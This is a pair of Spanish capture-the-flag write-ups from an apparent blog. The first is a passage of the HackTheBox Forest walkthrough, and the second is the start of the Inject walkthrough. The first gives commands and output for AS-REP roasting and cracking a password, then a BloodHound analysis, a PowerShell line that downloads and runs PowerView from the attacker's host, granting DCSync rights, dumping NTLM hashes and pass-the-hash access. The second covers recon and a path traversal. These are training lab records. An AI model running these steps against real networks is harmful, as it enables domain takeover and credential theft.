[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] User sebastien doesn'</span>t have UF_DONT_REQUIRE_PREAUTH set
[-] User lucinda doesn<span class="hljs-string">'t have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$svc-alfresco@HTB.LOCAL:e9528864e0fdc3de6844f0afee7aee9b$042879f4be34eca409922c1eedfa0dc61711ea98bc60555aa21c30030cff6fddfa264c2213587ec519ce07d97ea59a18a956cea4eb85e4dd2defbf40c1697104b4ee013554171de317d05f058fab99ae67a9ade0f1f7b5490c0918ee7835a3229f60cc4e8ff311e964925b311d803fc7d03051f38587ee0181772c7995c61a2f50d5c8d620c14e2c72ec3a649ed1b5252dd224afa8c62335e1751b26482792bfb1b4ac58dafc8717a359d91882204f6f472d30e55ba4ecc4b6879a8d050059b939e2f4960647046ee38dd69ef899c55b625589e8ee47002ae9e4e82aea4cfe3380e90f5ad520
[-] User andy doesn'</span>t have UF_DONT_REQUIRE_PREAUTH set
[-] User mark doesn<span class="hljs-string">'t have UF_DONT_REQUIRE_PREAUTH set
[-] User santi doesn'</span>t have UF_DONT_REQUIRE_PREAUTH set
[-] User aman doesn<span class="hljs-string">'t have UF_DONT_REQUIRE_PREAUTH set</span>
</code></pre><p>Y conseguimos un <strong>hash</strong> del usuario <strong>svc-alfresco</strong>. Vamos a guardarlo en un archivo y ver si podemos romper la contraseña. Vamos a utilizar <strong>john</strong> para hacer esto.</p>
<pre><code class="lang-bash">$ <span class="hljs-built_in">cd</span> ../content
$ cat <span class="hljs-built_in">hash</span>
</code></pre>
<pre><code>e9528864e0fdc3de6844f0afee7aee9b$<span class="hljs-number">042879</span>f4be34eca409922c1eedfa0dc61711ea98bc60555aa21c30030cff6fddfa264c2213587ec519ce07d97ea59a18a956cea4eb85e4dd2defbf40c1697104b4ee013554171de317d05f058fab99ae67a9ade0f1f7b5490c0918ee7835a3229f60cc4e8ff311e964925b311d803fc7d03051f38587ee0181772c7995c61a2f50d5c8d620c14e2c72ec3a649ed1b5252dd224afa8c62335e1751b26482792bfb1b4ac58dafc8717a359d91882204f6f472d30e55ba4ecc4b6879a8d050059b939e2f4960647046ee38dd69ef899c55b625589e8ee47002ae9e4e82aea4cfe3380e90f5ad520
</code></pre><pre><code>john --wordlist=<span class="hljs-regexp">/usr/</span>share/wordlists/rockyou.txt hash
</code></pre><pre><code>Created directory: <span class="hljs-regexp">/home/</span>dh89/.john
Using <span class="hljs-keyword">default</span> input encoding: UTF<span class="hljs-number">-8</span>
Loaded <span class="hljs-number">1</span> password hash (krb5asrep, Kerberos <span class="hljs-number">5</span> AS-REP etype <span class="hljs-number">17</span>/<span class="hljs-number">18</span>/<span class="hljs-number">23</span> [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES <span class="hljs-number">256</span>/<span class="hljs-number">256</span> AVX2 <span class="hljs-number">8</span>x])
Will run <span class="hljs-number">4</span> OpenMP threads
Press <span class="hljs-string">'q'</span> or Ctrl-C to abort, almost any other key <span class="hljs-keyword">for</span> status
s3rvice          (?)
<span class="hljs-number">1</span>g <span class="hljs-number">0</span>:<span class="hljs-number">00</span>:<span class="hljs-number">00</span>:<span class="hljs-number">05</span> DONE (<span class="hljs-number">2023</span><span class="hljs-number">-07</span><span class="hljs-number">-27</span> <span class="hljs-number">02</span>:<span class="hljs-number">25</span>) <span class="hljs-number">0.1788</span>g/s <span class="hljs-number">730905</span>p/s <span class="hljs-number">730905</span>c/s <span class="hljs-number">730905</span>C/s s4553592..s3r2s1
Use the <span class="hljs-string">"--show"</span> option to display all <span class="hljs-keyword">of</span> the cracked passwords reliably
Session completed
</code></pre><p>Vemos que la contraseña es "s3rvice" vamos a validarlo con <strong>crackmapexec</strong></p>
<pre><code class="lang-bash">$ crackmapexec smb 10.10.10.161 -u <span class="hljs-string">'svc-alfresco'</span> -p <span class="hljs-string">'s3rvice'</span>
</code></pre>
<pre><code>MB         <span class="hljs-number">10.10</span><span class="hljs-number">.10</span><span class="hljs-number">.161</span>    <span class="hljs-number">445</span>    FOREST           [*] Windows Server <span class="hljs-number">2016</span> Standard <span class="hljs-number">14393</span> x64 (name:FOREST) (domain:htb.local) (signing:True) (SMBv1:True)
SMB         <span class="hljs-number">10.10</span><span class="hljs-number">.10</span><span class="hljs-number">.161</span>    <span class="hljs-number">445</span>    FOREST           [+] htb.local\svc-alfresco:s3rvice
</code></pre><p>Y nos pone un "[+]" por tanto la contraseña es valida, como esta abierto el servicio de administracion remota de windows - <strong>winrm</strong>/<strong>5985</strong>. Vamos a ver si nos podemos conectar.</p>
<pre><code class="lang-bash"> $ crackmapexec winrm 10.10.10.161 -u <span class="hljs-string">'svc-alfresco'</span> -p <span class="hljs-string">'s3rvice'</span>
</code></pre>
<pre><code>SMB         <span class="hljs-number">10.10</span><span class="hljs-number">.10</span><span class="hljs-number">.161</span>    <span class="hljs-number">5985</span>   FOREST           [*] Windows <span class="hljs-number">10.0</span> Build <span class="hljs-number">14393</span> (name:FOREST) (domain:htb.local)
HTTP        <span class="hljs-number">10.10</span><span class="hljs-number">.10</span><span class="hljs-number">.161</span>    <span class="hljs-number">5985</span>   FOREST           [*] http:<span class="hljs-comment">//10.10.10.161:5985/wsman</span>
WINRM       <span class="hljs-number">10.10</span><span class="hljs-number">.10</span><span class="hljs-number">.161</span>    <span class="hljs-number">5985</span>   FOREST           [+] htb.local\svc-alfresco:s3rvice (Pwn3d!)
</code></pre><p>Y nos pone un "(Pwn3d!)" por tanto nos podemos conectar a la maquina, vamos a usar <strong>evil-winrm</strong> para realizar esto</p>
<pre><code class="lang-bash">$ evil-winrm -u <span class="hljs-string">'svc-alfresco'</span> -p <span class="hljs-string">'s3rvice'</span> -i 10.10.10.161
</code></pre>
<pre><code class="lang-ruby">Evil-WinRM shell v3.<span class="hljs-number">5</span>

<span class="hljs-symbol">Warning:</span> Remote path completions is disabled due to ruby <span class="hljs-symbol">limitation:</span> quoting_detection_proc() function is unimplemented on this machine

<span class="hljs-symbol">Data:</span> For more information, check Evil-WinRM <span class="hljs-symbol">GitHub:</span> <span class="hljs-symbol">https:</span>/<span class="hljs-regexp">/github.com/</span>Hackplayers/evil-winrm<span class="hljs-comment">#Remote-path-completion</span>

<span class="hljs-symbol">Info:</span> Establishing connection to remote endpoint
*Evil-WinRM* PS <span class="hljs-symbol">C:</span>\Users\svc-alfresco\Documents&gt; whoami
htb\svc-alfresco
*Evil-WinRM* PS <span class="hljs-symbol">C:</span>\Users\svc-alfresco\Documents&gt;
</code></pre>
<p>Y ganamos acceso a la maquina.</p>
<h1 id="heading-escalada-de-privilegios">Escalada de privilegios</h1>
<p>Para esto vamos a necesitar recopilar información con la herramienta <strong>bloodhound</strong> (link para mas informacion sobre la herramienta -&gt; <a target="_blank" href="https://bloodhound.readthedocs.io/en/latest/index.html">Bloodhound-docs</a>). Para esto vamos a necesitar transferir un ".exe" a la maquina para recopilar la información, esto lo vamos a realizar creando una carpeta compartida desde nuestro lado con la herramienta <strong>smbserver</strong>(link de donde pueden descargar el .exe -&gt; <a target="_blank" href="https://github.com/BloodHoundAD/SharpHound/releases/">Bloodhound-gihub</a>)(Si tienen alguna duda de como instalar bloodhound o cualquier otra duda lo pueden poner en los comentarios, o contactarme por discord)</p>
<pre><code class="lang-bash">$ <span class="hljs-built_in">cd</span> ../content
$ ls
</code></pre>
<p>Antes de crear la carpeta compartida, en otra terminal voy a activarme el <strong>bloodhound</strong>, para esto necesitamos habilitar el <strong>neo4j</strong>(link de neo4j con mas info -&gt; <a target="_blank" href="https://github.com/neo4j/neo4j">neo4j-github</a>)</p>
<pre><code class="lang-bash">$ neo4j start
Starting Neo4j.
Started neo4j (pid:95754). It is available at http://0.0.0.0:7474
There may be a short delay until the server is ready.
</code></pre>
<p>Como nos dice, el servicio corre en el <strong>localhost</strong> por el puerto <strong>7474</strong></p>
<p><img src="https://res.cloudinary.com/dxyznc4oh/image/upload/v1690653542/htb/Forest/neo4j_tyno9r.png" alt="neo4j-png" /></p>
<p>Ahi vemos el <strong>neo4j</strong>, si lo instalan por primera vez. Las credencialies por defecto son neo4j/neo4j -&gt; usuario/contraseña. Ahora vamos a iniciar el <strong>bloodhound</strong></p>
<pre><code class="lang-bash">$ BloodHound --no-sandbox
</code></pre>
<p><img src="https://res.cloudinary.com/dxyznc4oh/image/upload/v1690654258/htb/Forest/bloodhound_dx3ylx.png" alt="bloodhound-png" /></p>
<p>Ingresamos las cre denciales del <strong>neo4j</strong> y le damos a <strong>login</strong></p>
<p><img src="https://res.cloudinary.com/dxyznc4oh/image/upload/v1690654372/htb/Forest/bloodhound-gui_aumqvu.png" alt="bloodhound-gui.png" /></p>
<p>En este punto voy a crearme la carpeta compartida, dicha anteriormente(obs: nos tenemos que encontrar en el directorio donde tenemos el <strong>Bloodhound.exe</strong>)</p>
<pre><code class="lang-bash">$ mdkir ../content/sharphound
$ <span class="hljs-built_in">cd</span> ../content/sharphound
$ ls      
SharpHound.exe
</code></pre>
<pre><code class="lang-bash">$ impacket-smbserver smbFolder $(<span class="hljs-built_in">pwd</span>)
</code></pre>
<p>obs: se suele agregar un "--smb2support" para añadir soporte a la v2 de <strong>samba</strong>. En mi caso no lo pongo ya que no es necesario. Pero si les da algun error, lo pueden añadir.</p>
<pre><code>mpacket v0<span class="hljs-number">.9</span><span class="hljs-number">.22</span> - Copyright <span class="hljs-number">2020</span> SecureAuth Corporation

[*] Config file parsed
[*] Callback added <span class="hljs-keyword">for</span> UUID <span class="hljs-number">4</span>B324FC8<span class="hljs-number">-1670</span><span class="hljs-number">-01</span>D3<span class="hljs-number">-1278</span><span class="hljs-number">-5</span>A47BF6EE188 V:<span class="hljs-number">3.0</span>
[*] Callback added <span class="hljs-keyword">for</span> UUID <span class="hljs-number">6</span>BFFD098-A112<span class="hljs-number">-3610</span><span class="hljs-number">-9833</span><span class="hljs-number">-46</span>C3F87E345A V:<span class="hljs-number">1.0</span>
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
</code></pre><p>Ahora desde la maquina victima, podemos ejecutar el <strong>Bloodhound.exe</strong> sin la necesidad de transferirlo a la maquina <strong>victima</strong>. Asi que vamos hacerlo de esta manera, mas comodo.</p>
<pre><code class="lang-bash">*Evil-WinRM* PS C:\Users\svc-alfresco\Documents&gt; \\10.10.14.58\smbFolder\SharpHound.exe
</code></pre>
<pre><code>|INFORMATION|This version <span class="hljs-keyword">of</span> SharpHound is compatible <span class="hljs-keyword">with</span> the <span class="hljs-number">4.3</span><span class="hljs-number">.1</span> Release <span class="hljs-keyword">of</span> BloodHound
|INFORMATION|Resolved Collection Methods: Group, LocalAdmin, Session, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
|INFORMATION|Initializing SharpHound at <span class="hljs-number">2</span>:<span class="hljs-number">14</span> AM on <span class="hljs-number">8</span>/<span class="hljs-number">1</span>/<span class="hljs-number">2023</span>
|INFORMATION|[CommonLib LDAPUtils]Found usable Domain Controller <span class="hljs-keyword">for</span> htb.local : FOREST.htb.local
|INFORMATION|Flags: Group, LocalAdmin, Session, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
|INFORMATION|Beginning LDAP search <span class="hljs-keyword">for</span> htb.local
|INFORMATION|Producer has finished, closing LDAP channel
|INFORMATION|LDAP channel closed, waiting <span class="hljs-keyword">for</span> consumers
|INFORMATION|Status: <span class="hljs-number">0</span> objects finished (+<span class="hljs-number">0</span> <span class="hljs-number">0</span>)/s -- Using <span class="hljs-number">42</span> MB RAM
<span class="hljs-number">2023</span><span class="hljs-number">-08</span><span class="hljs-number">-01</span>T02:<span class="hljs-number">15</span>:<span class="hljs-number">03.8449317</span><span class="hljs-number">-07</span>:<span class="hljs-number">00</span>|INFORMATION|Consumers finished, closing output channel
Closing writers
|INFORMATION|Output channel closed, waiting <span class="hljs-keyword">for</span> output task to complete
|INFORMATION|Status: <span class="hljs-number">161</span> objects finished (+<span class="hljs-number">161</span> <span class="hljs-number">3.744186</span>)/s -- Using <span class="hljs-number">48</span> MB RAM
|INFORMATION|Enumeration finished <span class="hljs-keyword">in</span> <span class="hljs-number">00</span>:<span class="hljs-number">00</span>:<span class="hljs-number">43.3755297</span>
|INFORMATION|Saving cache <span class="hljs-keyword">with</span> stats: <span class="hljs-number">118</span> ID to type mappings.
 <span class="hljs-number">117</span> name to SID mappings.
 <span class="hljs-number">0</span> machine sid mappings.
 <span class="hljs-number">2</span> sid to domain mappings.
 <span class="hljs-number">0</span> <span class="hljs-built_in">global</span> catalog mappings.
|INFORMATION|SharpHound Enumeration Completed at <span class="hljs-number">2</span>:<span class="hljs-number">15</span> AM on <span class="hljs-number">8</span>/<span class="hljs-number">1</span>/<span class="hljs-number">2023</span>! Happy Graphing!
</code></pre><pre><code class="lang-bash">*Evil-WinRM* PS C:\Users\svc-alfresco\Documents&gt; ls


    Directory: C:\Users\svc-alfresco\Documents


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----         8/1/2023   2:15 AM          18804 20230801021502_BloodHound.zip
-a----         8/1/2023   2:15 AM          19538 MzZhZTZmYjktOTM4NS00NDQ3LTk3OGItMmEyYTVjZjNiYTYw.bin
</code></pre>
<p>Y tenemos el <strong>.zip</strong>. Vamos a traernos el archivo a nuestra maquina y analizarlo con el <strong>Bloodhound</strong></p>
<pre><code class="lang-bash">*Evil-WinRM* PS C:\Users\svc-alfresco\Documents&gt; download 20230801021502_BloodHound.zip

Info: Downloading C:\Users\svc-alfresco\Documents\20230801021502_BloodHound.zip to 20230801021502_BloodHound.zip

Info: Download successful!
</code></pre>
<p>El propio <strong>Evil-WinRM</strong> nos facilita la transferencia del archivo(obs: <strong>Evil-WinRm</strong> nos descarga el archivo en la ruta donde iniciamos seccion con <strong>Evil-WinRm</strong> por si no encuentran el archivo.)</p>
<pre><code class="lang-bash">$ <span class="hljs-built_in">cd</span> ../content
$ ls
20230801021502_BloodHound.zip <span class="hljs-built_in">hash</span> users sharphound
</code></pre>
<p>Ahi lo tenemos, ahora vamos analizar el <strong>.zip</strong> con ayuda del <strong>bloodhound</strong></p>
<p><img src="https://res.cloudinary.com/dxyznc4oh/image/upload/v1690881938/htb/Forest/bloodhound-upload_rrptnt.png" alt="bloodhoun-upload.png" /></p>
<p>Simplemente, le damos a <strong>Upload Data</strong> y le pasamos el archivo <strong>.zip</strong>
Una vez, ya tengamos todos los archivos en el <strong>bloodhound</strong>. Lo primero que hacemos es buscar el <strong>user</strong> que tenemos su contraseña</p>
<p><img src="https://res.cloudinary.com/dxyznc4oh/image/upload/v1690882185/htb/Forest/svc-bloodhound_wwyuz6.png" alt="scv-bloodhound.png" /></p>
<p>Luego le damos click derecho y lo marcamos como <strong>User as Owned</strong></p>
<p><img src="https://res.cloudinary.com/dxyznc4oh/image/upload/v1690882460/htb/Forest/owned-user_bxgq76.png" alt="owned-user.png" />
<img src="https://res.cloudinary.com/dxyznc4oh/image/upload/v1690882564/htb/Forest/owned_yzblrm.png" alt="owned.png" /></p>
<p>Luego nos vamos a la seccion de <strong>Analysis</strong> y le damos click en <strong>Shortest Path to Domain Admins from owned Principals</strong></p>
<p><img src="https://res.cloudinary.com/dxyznc4oh/image/upload/v1690882720/htb/Forest/shortest-path_finq7r.png" alt="shortest-parh.png" /></p>
<p>Seleccionamos al usuario <strong>Admin del Dominio</strong></p>
<p><img src="https://res.cloudinary.com/dxyznc4oh/image/upload/v1690882969/htb/Forest/path_gnuqs6.png" alt="path.png" /></p>
<p>Y podemos observar, la <strong>ruta</strong> que tenemos que seguir para ser <strong>Administador</strong>.
Pueden dar click derecho y darle a <strong>help</strong>, para mas informacion sobre cada usuario/grupo/permiso,etc.</p>
<p>Vemos que el usuario <strong>svc-alfresco</strong> es miembro de -&gt; <strong>Service-Accounts</strong> y a su vez, este ultimo es parte de -&gt; <strong>Privileged IT Accounts</strong> y este grupo tiene la <strong>capability</strong> de crear un <strong>PSRemote Connection</strong> con -&gt; <strong>FOREST.HTB.LOCAL</strong>.
<strong>PS Session</strong> te permite entrar en una seccion interactiva con la maquina, y gracias a todo esto. Tenemos <strong>DS-Replication-Get-Changes</strong> y <strong>DS-Replication-Get-Changes-All privilege</strong> en el dominio -&gt; <strong>HTB.LOCAL</strong>.
Estos dos permisos nos permiten realizar un <strong>DCSync attack.</strong>(Para mas info sobre DCSync attack -&gt; <a target="_blank" href="https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/dcsync">hacktricks-DCSync</a>).</p>
<p>Para empezar a realizar este ataque, vamos a usar el script <strong>PowerView.ps1</strong> (link del repositorio en github -&gt; <a target="_blank" href="https://github.com/PowerShellMafia/PowerSploit">powerview.ps1</a>)</p>
<pre><code class="lang-bash">$ <span class="hljs-built_in">cd</span> ../content
$ git <span class="hljs-built_in">clone</span> https://github.com/PowerShellMafia/PowerSploit/ -b dev
$ ls
PowerSploit-3.0.0 <span class="hljs-built_in">hash</span> 20230801021502_BloodHound.zip users
$ <span class="hljs-built_in">cd</span> PowerSploit-3.0.0
$ <span class="hljs-built_in">cd</span> Recon
$ ls
PowerView.ps1 Invoke-ReverseDnsLookup.ps1 Invoke-Portscan.ps1 Get-HttpStatus.ps1
$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
</code></pre>
<p>Nos transferimos el <strong>PowerView.ps1</strong> a la maquina victima</p>
<pre><code class="lang-bash">*Evil-WinRM* PS C:\Users\svc-alfresco\Documents&gt; IEX(New-Object Net.WebClient).downloadString(<span class="hljs-string">'http://10.10.14.58/PowerView.ps1'</span>)
</code></pre>
<p>Ahora vamos añadir al usuario <strong>svc-alfresco</strong> al grupo <strong>Exchange Windows Permissions</strong></p>
<pre><code class="lang-bash">*Evil-WinRM* PS C:\Users\svc-alfresco\Documents&gt; Import-Module C:\Users\svc-alfresco\Documents\PowerView.ps1
</code></pre>
<p>Definimos algunas variables y asignamos el permiso <strong>DCSync</strong> al usuario <strong>svc-alfresco</strong></p>
<pre><code class="lang-bash">*Evil-WinRM* PS C:\Users\svc-alfresco\Documents&gt; <span class="hljs-variable">$SecPassword</span> = ConvertTo-SecureString <span class="hljs-string">'s3rvice'</span> -AsPlainText -Force
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents&gt; <span class="hljs-variable">$Cred</span> = New-Object System.Management.Automation.PSCredential(<span class="hljs-string">'HTB\svc-alfresco'</span>, <span class="hljs-variable">$SecPassword</span>)
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents&gt; Add-DomainObjectAcl -Credential <span class="hljs-variable">$Cred</span> -PrincipalIdentity <span class="hljs-string">'svc-alfresco'</span> -TargetIdentity <span class="hljs-string">"DC=htb,DC=local"</span> -Rights DCSync
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents&gt; net group <span class="hljs-string">"Exchange Windows Permissions"</span> svc-alfresco /add /domain
The <span class="hljs-built_in">command</span> completed successfully.
</code></pre>
<p>Ahora, utilizando la herramienta <strong>secretsdump</strong> vamos a dumpear los hashes <strong>NTLM</strong></p>
<pre><code>secretsdump.py svc-alfresco:s3rvice@<span class="hljs-number">10.10</span><span class="hljs-number">.10</span><span class="hljs-number">.161</span>
Impacket v0<span class="hljs-number">.9</span><span class="hljs-number">.19</span>-dev - Copyright <span class="hljs-number">2018</span> SecureAuth Corporation

[-] RemoteOperations failed: DCERPC Runtime <span class="hljs-built_in">Error</span>: code: <span class="hljs-number">0x5</span> - rpc_s_access_denied 
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
htb.local\Administrator:<span class="hljs-number">500</span>:aad3b435b51404eeaad3b435b51404ee:<span class="hljs-number">32693</span>b11e6aa90eb43d32c72a07ceea6:::
Guest:<span class="hljs-number">501</span>:aad3b435b51404eeaad3b435b51404ee:<span class="hljs-number">31</span>d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:<span class="hljs-number">502</span>:aad3b435b51404eeaad3b435b51404ee:<span class="hljs-number">819</span>af826bb148e603acb0f33d17632f8:::
DefaultAccount:<span class="hljs-number">503</span>:aad3b435b51404eeaad3b435b51404ee:<span class="hljs-number">31</span>d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\$<span class="hljs-number">331000</span>-VK4ADACQNUCA:<span class="hljs-number">1123</span>:aad3b435b51404eeaad3b435b51404ee:<span class="hljs-number">31</span>d6cfe0d16ae931b73c59d7e0c089c0:::
...[snip]...
[*] Cleaning up...
</code></pre><p>Ganamos acceso como <strong>administrador</strong> con <strong>evil-winrm</strong></p>
<pre><code class="lang-bash">$ evil-winrm -i 10.10.10.161 -u administrator -p aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() <span class="hljs-keyword">function</span> is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm<span class="hljs-comment">#Remote-path-completion</span>

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents&gt; whoami
htb\administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents&gt;
</code></pre>
<hr />
<h1 id="heading-conclusion">Conclusión</h1>
<p>Maquina muy interesante, de hecho la primera maquina <strong>windows</strong> que hago writeup, nunca viene mal practicar hacking <strong>win</strong>. Se puede hacer de muchas maneras el <strong>dumpeo</strong> de <strong>hashes</strong>. Les recomiend que investigen otras formas, van aprender mucho.</p>
]]></content:encoded></item><item><title><![CDATA[Inject-Writeup]]></title><description><![CDATA[Skills
- Paht Traversal -> LFI - Local File Inclusion

- CVE-2022-22963 -> RCE - Remote Code Execution

- Information leakage -> User Pivoting

- Abusing cron tab -> Privilage Escalation
Reconocimiento
Comenzamos creando nuestros directorios para rea...]]></description><link>https://varovish.hashnode.dev/htb-inject-writeup</link><guid isPermaLink="true">https://varovish.hashnode.dev/htb-inject-writeup</guid><category><![CDATA[#HackTheBox]]></category><category><![CDATA[Write Up]]></category><category><![CDATA[Burpsuite  ]]></category><category><![CDATA[CVE-2022-22963]]></category><dc:creator><![CDATA[Dh89]]></dc:creator><pubDate>Tue, 18 Jul 2023 21:53:55 GMT</pubDate><content:encoded><![CDATA[<hr />
<p><img src="https://res.cloudinary.com/dxyznc4oh/image/upload/v1689365402/htb/Inject/Inject_kuxocv.png" alt="Inject.png" /></p>
<hr />
<h1 id="heading-skills">Skills</h1>
<pre><code>- Paht Traversal -&gt; LFI - Local File Inclusion

- CVE<span class="hljs-number">-2022</span><span class="hljs-number">-22963</span> -&gt; RCE - Remote Code Execution

- Information leakage -&gt; User Pivoting

- Abusing cron tab -&gt; Privilage Escalation
</code></pre><h1 id="heading-reconocimiento">Reconocimiento</h1>
<p>Comenzamos creando nuestros <strong>directorios</strong> para realizar un reconocimiento</p>
<pre><code class="lang-bash">$ mkdir Inject-10.10.11.204
$ <span class="hljs-built_in">cd</span> Inject-10.10.11.204
$ mkdir nmap content exploit
</code></pre>
<p>Luego procedemos a realizar un escaneo con <strong>nmap</strong></p>
<pre><code class="lang-bash">$ nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.204 -oG allPorts
</code></pre>
<p>Yo lo exporto en formato <strong>grepeable</strong> por que tengo una función llamada <a target="_blank" href="https://pastebin.com/tYpwpauW">extractPorts</a> -&gt; (link de la utilidad de extractPorts creada por s4vitar, instalar xclip)</p>
<pre><code class="lang-bash">$ extractPorts allPorts
</code></pre>
<pre><code>[*] Extracting information...

    [*] IP Address: <span class="hljs-number">10.10</span><span class="hljs-number">.11</span><span class="hljs-number">.204</span>
    [*] Open ports: <span class="hljs-number">22</span>,<span class="hljs-number">8080</span>

[*] Ports copied to clipboard
</code></pre><p>Vamos a realizar un escaneo mas exhaustivo sobre esos puertos</p>
<pre><code class="lang-bash">$ nmap -sCV -p22,8080 10.10.11.204 -oN targeted
</code></pre>
<pre><code class="lang-python">Nmap scan report <span class="hljs-keyword">for</span> <span class="hljs-number">10.10</span><span class="hljs-number">.11</span><span class="hljs-number">.204</span>
Host <span class="hljs-keyword">is</span> up (<span class="hljs-number">0.21</span>s latency).

PORT     STATE SERVICE     VERSION
<span class="hljs-number">22</span>/tcp   open  ssh         OpenSSH <span class="hljs-number">8.2</span>p1 Ubuntu <span class="hljs-number">4</span>ubuntu0<span class="hljs-number">.5</span> (Ubuntu Linux; protocol <span class="hljs-number">2.0</span>)
| ssh-hostkey: 
|   <span class="hljs-number">3072</span> caf10c515a596277f0a80c5c7c8ddaf8 (RSA)
|   <span class="hljs-number">256</span> d51c81c97b076b1cc1b429254b52219f (ECDSA)
|_  <span class="hljs-number">256</span> db1d8ceb9472b0d3ed44b96c93a7f91d (ED25519)
<span class="hljs-number">8080</span>/tcp open  nagios-nsca Nagios NSCA
|_http-title: Home
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/
</code></pre>
<p>Vemos una pagina <strong>web</strong> en el puerto <strong>8080</strong> vamos a realizar un escaneo para ver las <strong>tecnologías</strong> y <strong>cms</strong> que usa la web. Para esto vamos a lanzar un <strong>whatweb</strong> sobre este puerto</p>
<pre><code class="lang-bash">$ whatweb http://10.10.11.204:8080
</code></pre>
<pre><code class="lang-http"><span class="hljs-attribute">http://10.10.11.204:8080 [200 OK] Bootstrap, Content-Language[en-US], Country[RESERVED][ZZ], Frame, HTML5, IP[10.10.11.204], Title[Home], YouTube</span>
</code></pre>
<p>No nos reporta nada de <strong>relevancia</strong>, vamos a ver como se ve la <strong>web</strong></p>
<p><img src="https://res.cloudinary.com/dxyznc4oh/image/upload/v1689367986/htb/Inject/web_rr2i7r.png" alt="web.png" /></p>
<p>Vemos un servicio de almacenamiento en la <strong>nube</strong>, donde nos ofrecen ciertos planes, etc. Vemos un <strong>Log in</strong> y un <strong>Sing up</strong> pero no están del todo funcional, pero vemos un <strong>upload</strong> vamos a revisar esto</p>
<p><img src="https://res.cloudinary.com/dxyznc4oh/image/upload/v1689368444/htb/Inject/web-upload_ecjvo9.png" alt="web-upload.png" /></p>
<p>Vemos que podemos subir un <strong>archivo</strong>, eso es peligroso ya que podríamos llegar a ejecutar <strong>comandos</strong> en la maquina. Vamos a intentar subir un <strong>.txt</strong> para ver la respuesta del lado del <strong>servidor</strong></p>
<p><img src="https://res.cloudinary.com/dxyznc4oh/image/upload/v1689368844/htb/Inject/upload-txt_cour3o.png" alt="upload-txt.png" /></p>
<p><img src="https://res.cloudinary.com/dxyznc4oh/image/upload/v1689368971/htb/Inject/no-upload-txt_qhftms.png" alt="no-upload-txt.png" /></p>
<p>Vemos que solo nos acepta extensiones de tipo <strong>imágenes</strong>, podemos probar ciertas <strong>técnicas</strong> para intentar subir un archivo con la extension que nos interese, pero antes vamos a subir una <strong>imagen</strong> primero, para ver la respuesta en la <strong>web</strong></p>
<p><img src="https://res.cloudinary.com/dxyznc4oh/image/upload/v1689369424/htb/Inject/upload-gato_uptzyo.png" alt="gato.png" />
<img src="https://res.cloudinary.com/dxyznc4oh/image/upload/v1689369596/htb/Inject/uploaded_u9tebl.png" alt="uploaded.png" /></p>
<p>Vemos que nos subió la <strong>imagen</strong>, y nos muestra la ruta en la que este se aloja. Esto es importante, ya que si subimos un archivo <strong>malicioso</strong> necesitamos saber donde se <strong>almacena</strong> para poder apuntar a este y poder usarlo. Vamos a revisar la ruta</p>
<p><img src="https://res.cloudinary.com/dxyznc4oh/image/upload/v1689370108/htb/Inject/show-image_ovmren.png" alt="show-image.png" /></p>
<p>Y ahí esta el gato.jpg(Saludos a <strong>gato gamer</strong>, de la comunidad de <strong>hack4u</strong>. Un máquina) vemos una función "show_image?img=gato.jpg"
Probando no nos deja subir otra extension que no sea una <strong>imagen</strong>.
Pero vamos a pasar la petición por <strong>burpsuite</strong> para ver como se esta tramitando</p>
<p><img src="https://res.cloudinary.com/dxyznc4oh/image/upload/v1689709399/htb/Inject/show-image_healma.png" alt="show-image-php.png" /></p>
<p>Vemos la función <strong>show_image</strong> vamos a intentar un <strong>directory path traversal</strong>, para comprobar si podemos listar archivos del lado de la maquina victima</p>
<p><img src="https://res.cloudinary.com/dxyznc4oh/image/upload/v1689709637/htb/Inject/path-traversal_ldtily.png" alt="path-traversal.png" /></p>
<p>Y como podemos observar se acontece el <strong>directory path traversal</strong>, vamos a ver la rute "/var/www" que es donde probablemente este montada la pagina</p>
<p><img src="https://res.cloudinary.com/dxyznc4oh/image/upload/v1689709933/htb/Inject/var-www_ikm38d.png" alt="var-www.png" /></p>
<p>Y vemos un <strong>html</strong> y un <strong>WebApp</strong> vamos a enumerar este ultimo</p>
<p><img src="https://res.cloudinary.com/dxyznc4oh/image/upload/v1689710116/htb/Inject/WebApp_xm8zfc.png" alt="WebApp.png" /></p>
<p>Y vemos varios <strong>directorio</strong> y <strong>archivos</strong>. Enumerando nos encontramos algo curioso en el archivo <strong>pom.xml</strong></p>
<p><img src="https://res.cloudinary.com/dxyznc4oh/image/upload/v1689710347/htb/Inject/spring-framework_o4vvpd.png" alt="spring-framework.png" /></p>
<p>Vemos algo llamado, <strong>spring-framework</strong> <strong>v2.6.5</strong>. Investigando esto es vulnerable a <strong>CVE-2022-22963</strong>
Esto los que nos permite es ejecutar comandos deforma remota mediante una secuencia de peticiones HTTP específicas. (Para mas info les comparto un link donde pueden leer mas acerca de esto -&gt; <a target="_blank" href="https://sysdig.com/blog/cve-2022-22963-spring-cloud/">CVE-2020-22963</a> )</p>
